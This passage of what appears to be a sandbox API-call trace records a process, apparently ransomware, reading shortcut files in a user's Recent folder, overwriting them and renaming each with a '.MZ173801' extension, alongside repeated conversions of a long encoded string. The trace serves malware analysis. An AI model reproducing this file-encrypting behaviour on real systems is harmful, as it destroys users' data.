5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m2vN4t6vFdvq0RhOel.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m2vn4t6vfdvq0rhoel.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.607] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.607] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.607] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1a21 [0121.607] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.607] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1a21, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1a21, lpOverlapped=0x0) returned 1 [0121.608] CloseHandle (hObject=0x288) returned 1 [0121.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m2vN4t6vFdvq0RhOel.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m2vn4t6vfdvq0rhoel.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.609] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1a21, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1a21, lpOverlapped=0x0) returned 1 [0121.610] CloseHandle (hObject=0x288) returned 1 [0121.612] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m2vN4t6vFdvq0RhOel.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m2vn4t6vfdvq0rhoel.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m2vN4t6vFdvq0RhOel.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m2vn4t6vfdvq0rhoel.lnk.mz173801")) returned 1 [0121.613] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7021e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf7021e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf7021e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="m9I N.lnk", cAlternateFileName="M9IN~1.LNK")) returned 1 [0121.613] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.613] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.613] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m9I N.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m9i n.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7021e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf7021e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf7021e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x228)) returned 1 [0121.615] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.615] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m9I N.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m9i n.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.616] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.616] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.616] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x228 [0121.616] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.616] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x228, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x228, lpOverlapped=0x0) returned 1 [0121.617] CloseHandle (hObject=0x288) returned 1 [0121.617] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m9I N.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m9i n.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.618] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x228, lpOverlapped=0x0) returned 1 [0121.619] CloseHandle (hObject=0x288) returned 1 [0121.660] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m9I N.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m9i n.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m9I N.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m9i n.lnk.mz173801")) returned 1 [0121.662] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde384dc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde384dc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde3f71e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="MeaOqsa9RRk c.flv.lnk", cAlternateFileName="MEAOQS~1.LNK")) returned 1 [0121.662] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.662] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MeaOqsa9RRk c.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\meaoqsa9rrk c.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde384dc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde384dc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde3f71e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x252)) returned 1 [0121.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREM